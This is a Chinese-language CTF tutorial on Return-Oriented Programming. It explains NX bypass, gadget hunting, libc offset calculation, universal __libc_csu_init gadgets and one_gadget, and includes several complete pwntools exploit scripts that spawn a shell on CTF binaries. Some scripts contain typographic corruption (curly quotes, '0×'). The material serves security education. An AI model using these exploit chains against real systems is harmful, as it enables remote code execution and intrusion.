原文來自:https://bbs.ichunqiu.com/thread-42530-1-1.html
0×00 背景
在上一篇教程的《shellcode的變形》一節中,我們提到過內存頁的RWX三種屬性。顯然,如果某一頁內存沒有可寫(W)屬性,我們就無法向里面寫入代碼,如果沒有可執行(X)屬性,寫入到內存頁中的shellcode就無法執行。關於這個特性的實驗在此不做展開,大家可以嘗試在調試時修改EIP和read()/scanf()/gets()等函數的參數來觀察操作無對應屬性內存的結果。那么我們怎么看某個ELF文件中是否有RWX內存頁呢?首先我們可以在靜態分析和調試中使用IDA的快捷鍵Ctrl + S
或者同上一篇教程中的方法,使用pwntools自帶的checksec命令檢查程序是否帶有RWX段。當然,由於程序可能在運行中調用mprotect(), mmap()等函數動態修改或分配具有RWX屬性的內存頁,以上方法均可能存在誤差。
既然攻擊者們能想到在RWX段內存頁中寫入shellcode並執行,防御者們也能想到,因此,一種名為NX位(No eXecute bit)的技術出現了。這是一種在CPU上實現的安全技術,這個位將內存頁以數據和指令兩種方式進行了分類。被標記為數據頁的內存頁(如棧和堆)上的數據無法被當成指令執行,即沒有X屬性。由於該保護方式的使用,之前直接向內存中寫入shellcode執行的方式顯然失去了作用。因此,我們就需要學習一種著名的繞過技術——ROP(Return-Oriented Programming, 返回導向編程)
顧名思義,ROP就是使用返回指令ret連接代碼的一種技術(同理還可以使用jmp系列指令和call指令,有時候也會對應地成為JOP/COP)。一個程序中必然會存在函數,而有函數就會有ret指令。我們知道,ret指令的本質是pop eip,即把當前棧頂的內容作為內存地址進行跳轉。而ROP就是利用棧溢出在棧上布置一系列內存地址,每個內存地址對應一個gadget,即以ret/jmp/call等指令結尾的一小段匯編指令,通過一個接一個的跳轉執行某個功能。由於這些匯編指令本來就存在於指令區,肯定可以執行,而我們在棧上寫入的只是內存地址,屬於數據,所以這種方式可以有效繞過NX保護。
0×01 使用ROP調用got表中函數
首先我們來看一個x86下的簡單ROP,我們將通過這里例子演示如何調用一個存在於got表中的函數並控制其參數。我們打開~/RedHat 2017-pwn1/pwn1。可以很明顯看到main函數存在棧溢出:
變量v1的首地址在bp-28h處,即變量在棧上,而輸入使用的
__isoc99_scanf
不限制長度,因此我們的過長輸入將會造成棧溢出。
程序開啟了NX保護,所以顯然我們不可能用shellcode打開一個shell。根據之前文章的思路,我們很容易想到要調用system函數執行system(“/bin/sh”)
。那么我們從哪里可以找到system
和”/bin/sh”
呢?
第一個問題,我們知道使用動態鏈接的程序導入庫函數的話,我們可以在GOT表和PLT表中找到函數對應的項(稍后的文章中我們將詳細解釋)。跳轉到.got.plt段,我們發現程序里居然導入了system函數。
解決了第一個問題之后我們就需要考慮第二個問題。通過對程序的搜索我們沒有發現字符串“/bin/sh”
,但是程序里有__isoc99_scanf
,我們可以調用這個函數來讀取”/bin/sh”
字符串到進程內存中。下面我們來開始構建ROP鏈。
首先我們考慮一下“/bin/sh”
字符串應該放哪。通過調試時按Ctrl+S快捷鍵查看程序的內存分段,我們看到0x0804a030
開始有個可讀可寫的大於8字節的地址,且該地址不受ASLR影響,我們可以考慮把字符串讀到這里。接下來我們找到
__isoc99_scanf
的另一個參數“%s”
,位於0x08048629
接着我們使用pwntools的功能獲取到__isoc99_scanf
在PLT表中的地址,PLT表中有一段stub代碼,將EIP劫持到某個函數的PLT表項中我們可以直接調用該函數。我們知道,對於x86的應用程序來說,其參數從右往左入棧。因此,現在我們就可以構建出一個ROP鏈。
`from pwn import *
context.update(arch = ‘i386′, os = ‘linux’, timeout = 1)
io = remote(’172.17.0.3′, 10001)
elf = ELF(‘./pwn1′)
scanf_addr = p32(elf.symbols['__isoc99_scanf'])
format_s = p32(0×08048629)
binsh_addr = p32(0x0804a030)
shellcode1 = ‘A’*0×34
shellcode1 += scanf_addr
shellcode1 += format_s
shellcode1 += binsh_addr
print io.read()
io.sendline(shellcode1)
io.sendline(“/bin/sh”) 我們來測試一下。 通過調試我們可以看到,當EIP指向retn時,棧上的數據和我們的預想一樣,棧頂是plt表中
__isoc99_scanf的首地址,緊接着是兩個參數。  我們繼續跟進執行,在libc中執行一會兒之后,我們收到了一個錯誤  這是為什么呢?我們回顧一下之前的內容。我們知道call指令會將call指令的下一條指令地址壓入棧中,當被call調用的函數運行結束后,ret指令就會取出被call指令壓入棧中的地址傳輸給EIP。但是在這里我們繞過call直接調用了
__isoc99_scanf,沒有像call指令一樣向棧壓入一個地址。此時函數認為返回地址是緊接着
scanf_addr的
format_s,而第一個參數就變成了
binsh_addr`
call調用函數的情況
08048557 mov [esp+4], eax 0804855B mov dword ptr [esp], offset unk_8048629 08048562 call ___isoc99_scanf 08048567 lea eax, [esp+18h]
從兩種調用方式的比較上我們可以看到,由於少了call指令的壓棧操作,如果我們在布置棧的時候不模擬出一個壓入棧中的地址,被調用函數的取到的參數就是錯位的。所以我們需要改良一下ROP鏈。根據上面的描述,我們應該在參數和保存的EIP中間放置一個執行完的返回地址。鑒於我們調用scanf讀取字符串后還要調用system函數,我們讓
__isoc99_scanf
執行完后再次返回到main函數開頭,以便於再執行一次棧溢出。改良后的ROP鏈如下:我們再次進行調試,發現這回成功調用
__isoc99_scanf
把”/bin/sh”
字符串讀取到地址0x0804a030
處
此時程序再次從main函數開始執行。由於棧的狀態發生了改變,我們需要重新計算溢出的字節數。然后再次利用ROP鏈調用system
執行system(“/bin/sh”)
,這個ROP鏈可以模仿上一個寫出來,完整的腳本也可以在對應文件夾中找到,此處不再贅述。
接下來讓我們來看看64位下如何使用ROP調用got表中的函數。我們打開文件~/bugs bunny ctf 2017-pwn150/pwn150
,很容易就可以發現溢出出現在Hello()里和上一個例子一樣,由於程序開啟了NX保護,我們必須找到system函數和
”/bin/sh”
字符串。程序在main函數中調用了自己定義的一個叫today的函數,執行了system(“/bin/date”)
,那么system函數就有了。至於”/bin/sh”
字符串,雖然程序中沒有,但是我們找到了”sh”字符串,利用這個字符串其實也可以開shell
OK,現在我們有了棧溢出點,有了system函數,有了字符串”sh”,可以嘗試開shell了。首先我們要解決傳參數的問題。和x86不同,在x64下通常參數從左到右依次放在rdi, rsi, rdx, rcx, r8, r9,多出來的參數才會入棧(根據調用約定的方式可能有不同,通常是這樣),因此,我們就需要一個給RDI賦值的辦法。由於我們可以控制棧,根據ROP的思想,我們需要找到的就是pop rdi; ret,前半段用於賦值rdi,后半段用於跳到其他代碼片段。
有很多工具可以幫我們找到ROP gadget,例如pwntools自帶的ROP類,ROPgadget、rp++、ropeme等。在這里我使用的是ROPgadget(https://github.com/JonathanSalwan/ROPgadget)
通過ROPgadget –binary 指定二進制文件,使用grep在輸出的所有gadgets中尋找需要的片段這里有一個小trick。首先,我們看一下IDA中這個地址的內容是什么。
我們可以發現並沒有
0x400883
這個地址,0x400882
是pop r15
, 接下來就是0x400884
的retn
,那么這個pop rdi
會不會是因為ROPgadget
出bug了呢?別急,我們選擇0x400882
,按快捷鍵D轉換成數據。然后選擇0×400883按C轉換成代碼
我們可以看出來pop rdi實際上是pop r15的“一部分”。這也再次驗證了匯編指令不過是一串可被解析為合法opcode的數據的別名。只要對應的數據所在內存可執行,能被轉成合法的opcode,跳轉過去都是不會有問題的。
現在我們已經准備好了所有東西,可以開始構建ROP鏈了。這回我們直接調用call system指令,省去了手動往棧上補返回地址的環節,腳本如下:進行調試,發現開shell成功。
retn跳轉到0×400883處的
gadget:pop rdi; ret
pop rdi將”sh”字符串所在地址0x4003ef賦值給rdi
retn跳轉到call system處
0×02 使用ROP調用int 80h/syscall
在上一節中,我們接觸到了一種最簡單的使用ROP的場景。但是現實的情況是很多情況下目標程序並不會導入system函數。在這種情況下我們就需要通過其他方法達到目標。在這一節中我們首先學習的是通過ROP調用int 80h/syscall
關於int 80h/syscall
,在上一篇文章的《系統調用》一節中已經做了介紹,現在我們來看例子~/Tamu CTF 2018-pwn5/pwn5
.這個程序的主要功能在print_beginning()
實現。這個函數有大量的puts()和printf()輸出提示,要求我們輸入first_name, last_name和major三個字符串到三個全局變量里,然后選擇是否加入Corps of Cadets。不管選是還是否都會進入一個差不多的函數
我們可以看到只有選擇選項2才會調用函數change_major(),其他選項都只是打印出一些內容。進入
change_major()
后,我們發現了一個棧溢出:發現了溢出點后,我們就可以開始構思怎么getshell了。就像開頭說的那樣,這個程序里找不到system函數。但是我們用ROPGadget –binary pwn5 | grep “int 0×80”找到了一個可用的
gadget
回顧一下上一篇文章,我們知道在http://syscalls.kernelgrok.com/ 上可以找到sys_execve調用,同樣可以用來開shell,這個系統調用需要設置5個寄存器,其中
eax = 11 = 0xb, ebx = &(“/bin/sh”), ecx = edx = edi = 0. “/bin/sh”
我們可以在前面輸入到地址固定的全局變量中。接下來我們就要通過ROPgadget搜索pop eax/ebx/ecx/edx/esi; ret
了。pop eax; pop ebx; pop esi; pop edi; ret
pop edx; pop ecx; pop ebx; ret
構建ROP鏈和腳本如下:
調試時發現執行失敗了,ROP鏈並沒有被讀進去
這是為什么呢?
我們輸出payload后發現0x080150a里面有兩個0x0a,即“\n”在輸入的時候,我們會使用回車鍵”\n”代表輸入結束,顯然這邊也是受到了這個控制字符的影響,因此我們需要重新挑選gadgets。我們把gadget換成這一條
修改腳本發現成功getshell
0×03 從給定的libc中尋找gadget
有時候pwn題目也會提供一個pwn環境里對應版本的libc。在這種情況下,我們就可以通過泄露出某個在libc中的內容在內存中的實際地址,通過計算偏移來獲取system和“/bin/sh”的地址並調用。這一節的例子是~/Security Fest CTF 2016-tvstation/tvstation
. 這是一個比較簡單的題目,題目中除了顯示出來的三個選項之外還有一個隱藏的選項4,選項4會直接打印出system函數在內存中的首地址:從IDA中我們可以看到打印完地址后執行了函數debug_func(),進入函數debug_func()之后我們發現了溢出點
由於這個題目給了libc,且我們已經泄露出了system的內存地址。使用命令readelf -a 查看libc.so.6_x64
從這張圖上我們可以看出來.text節(Section)屬於第一個LOAD段(Segment),這個段的文件長度和內存長度是一樣的,也就是說所有的代碼都是原樣映射到內存中,代碼之間的相對偏移是不會改變的。由於前面的PHDR, INTERP兩個段也是原樣映射,所以在IDA里看到的system首地址距離文件頭的地址偏移和運行時的偏移是一樣的。如:
在這個libc中system函數首地址是0x456a0,即從文件的開頭數0x456a0個字節到達system函數
調試程序,發現system在內存中的地址是0x7fb5c8c266a0
0x7fb5c8c266a0 -0x456a0 =0x7fb5c8be1000
根據這個事實,我們就可以通過泄露出來的libc中的函數地址獲取libc在內存中加載的首地址,從而以此跳轉到其他函數的首地址並執行。
在libc中存在字符串”/bin/sh”
,該字符串位於.data節,根據同樣的原理我們也可以得知這個字符串距libc首地址的偏移
還有用來傳參的
gadget :pop rdi; ret
據此我們可以構建腳本如下
#!/usr/bin/python
#coding:utf-8 from pwn import * io = remote('172.17.0.2', 10001) io.recvuntil(": ") io.sendline('4') #跳轉到隱藏選項 io.recvuntil("@0x") system_addr = int(io.recv(12), 16) #讀取輸出的system函數在內存中的地址 libc_start = system_addr - 0x456a0 #根據偏移計算libc在內存中的首地址 pop_rdi_addr = libc_start + 0x1fd7a #pop rdi; ret 在內存中的地址,給system函數傳參 binsh_addr = libc_start + 0x18ac40 #"/bin/sh"字符串在內存中的地址 payload = "" payload += 'A'*40 #padding payload += p64(pop_rdi_addr) #pop rdi; ret payload += p64(binsh_addr) #system函數參數 payload += p64(system_addr) #調用system()執行system("/bin/sh") io.sendline(payload) io.interactive()
0×04 一些特殊的gadgets
這一節主要介紹兩個特殊的gadgets。第一個gadget經常被稱作通用gadgets,通常位於x64的ELF程序中的__libc_csu_init
中,如下圖所示:這張圖片里包含了兩個gadget,分別是
我們知道在x64的ELF程序中向函數傳參,通常順序是rdi, rsi, rdx, rcx, r8, r9
, 棧,以上三段gadgets中,第一段可以設置r12-r15
,接上第三段使用已經設置的寄存器設置rdi, 接上第二段設置rsi, rdx, rbx,最后利用r12+rbx*8
可以call任意一個地址。在找gadgets出現困難時,可以利用這個gadgets快速構造ROP鏈。需要注意的是,用萬能gadgets的時候需要設置rbp=1
,因為call qword ptr [r12+rbx*8]
之后是add rbx, 1; cmp rbx, rbp; jnz xxxxxx
。由於我們通常使rbx=0,從而使r12+rbx*8 = r12
,所以call指令結束后rbx必然會變成1。若此時rbp != 1
,jnz會再次進行call,從而可能引起段錯誤。那么這段gadgets怎么用呢?我們來看一下例子~/LCTF 2016-pwn100/pwn100
這個例子提供了libc,溢出點很明顯,位於0x40063d我們需要做的就是泄露一個got表中函數的地址,然后計算偏移調用system。前面的代碼很簡單,我們就不做介紹了
#!/usr/bin/python
#coding:utf-8 from pwn import * io = remote("172.17.0.3", 10001) elf = ELF("./pwn100") puts_addr = elf.plt['puts'] read_got = elf.got['read'] start_addr = 0x400550 pop_rdi = 0x400763 universal_gadget1 = 0x40075a #萬能gadget1:pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn universal_gadget2 = 0x400740 #萬能gadget2:mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8] binsh_addr = 0x60107c #bss放了STDIN和STDOUT的FILE結構體,修改會導致程序崩潰 payload = "A"*72 #padding payload += p64(pop_rdi) # payload += p64(read_got) payload += p64(puts_addr) payload += p64(start_addr) #跳轉到start,恢復棧 payload = payload.ljust(200, "B") #padding io.send(payload) io.recvuntil('bye~\n') read_addr = u64(io.recv()[:-1].ljust(8, '\x00')) log.info("read_addr = %#x", read_addr) system_addr = read_addr - 0xb31e0 log.info("system_addr = %#x", system_addr)
為了演示萬能gadgets的使用,我們選擇再次通過調用read函數讀取/bin/sh\x00字符串,而不是直接使用偏移。首先我們根據萬能gadgets布置好棧
payload = "A"*72 #padding payload += p64(universal_gadget1) #萬能gadget1 payload += p64(0) #rbx = 0 payload += p64(1) #rbp = 1,過掉后面萬能gadget2的call返回后的判斷 payload += p64(read_got) #r12 = got表中read函數項,里面是read函數的真正地址,直接通過call調用 payload += p64(8) #r13 = 8,read函數讀取的字節數,萬能gadget2賦值給rdx payload += p64(binsh_addr) #r14 = read函數讀取/bin/sh保存的地址,萬能gadget2賦值給rsi payload += p64(0) #r15 = 0,read函數的參數fd,即STDIN,萬能gadget2賦值給edi payload += p64(universal_gadget2) #萬能gadget2
我們是不是應該直接在payload后面接上返回地址呢?不,我們回頭看一下universal_gadget2的執行流程
由於我們的構造,上面的那塊代碼只會執行一次,然后流程就將跳轉到下面的
loc_400756
,這一系列操作將會抬升8*7
共56字節的棧空間,因此我們還需要提供56個字節的垃圾數據進行填充,然后再拼接上retn要跳轉的地址。
payload += '\x00'*56 #萬能gadget2后接判斷語句,過掉之后是萬能gadget1,用於填充棧 payload += p64(start_addr) #跳轉到start,恢復棧 payload = payload.ljust(200, "B") #padding 接下來就是常規操作getshell io.send(payload) io.recvuntil('bye~\n') io.send("/bin/sh\x00") #上面的一段payload調用了read函數讀取"/bin/sh\x00",這里發送字符串 payload = "A"*72 #padding payload += p64(pop_rdi) #給system函數傳參 payload += p64(binsh_addr) #rdi = &("/bin/sh\x00") payload += p64(system_addr) #調用system函數執行system("/bin/sh") payload = payload.ljust(200, "B") #padding io.send(payload) io.interactive()
我們介紹的第二個gadget通常被稱為one gadget RCE,顧名思義,通過一個gadget遠程執行代碼,即getshell。我們通過例子~/TJCTF 2016-oneshot/oneshot演示一下這個gadget的威力。
要利用這個gadget,我們需要一個對應環境的libc和一個工具one_gadget(https://github.com/david942j/one_gadget)。這個程序沒有棧溢出,其代碼非常簡單
從紅框中的代碼我們看到地址rbp+var_8被作為
__isoc99_scanf
的第二個參數賦值給rsi,即輸入被保存在這里。隨后rbp+var_8中的內容被賦值給rax,又被賦值給rdx,最后通過call rdx
執行。也就是說我們輸入一個數字,這個數字會被當成地址使用call調用。由於只能控制4字節,我們就需要用到one gadget RCE來一步getshell。我們通過one_gadget找到一些gadget:我們看到這些gadget有約束條件。我們選擇第一條,要求rax=0。我們構建腳本進行調試:
#!/usr/bin/python
#coding:utf-8 from pwn import * one_gadget_rce = 0x45526 #one_gadget libc.so.6_x64 #0x45526 execve("/bin/sh", rsp+0x30, environ) #constraints: # rax == NULL setbuf_addr = 0x77f50 setbuf_got = 0x600ae0 io = remote("172.17.0.2", 10001) io.sendline(str(setbuf_got)) io.recvuntil("Value: ") setbuf_memory_addr = int(io.recv()[:18], 16) #通過打印got表中setbuf項的內容泄露setbuf在內存中的首地址 io.sendline(str(setbuf_memory_addr - (setbuf_addr - one_gadget_rce))) #通過偏移計算one_gadget_rce在內存中的地址 io.interactive()
執行到call rdx時rax = 0
getshell成功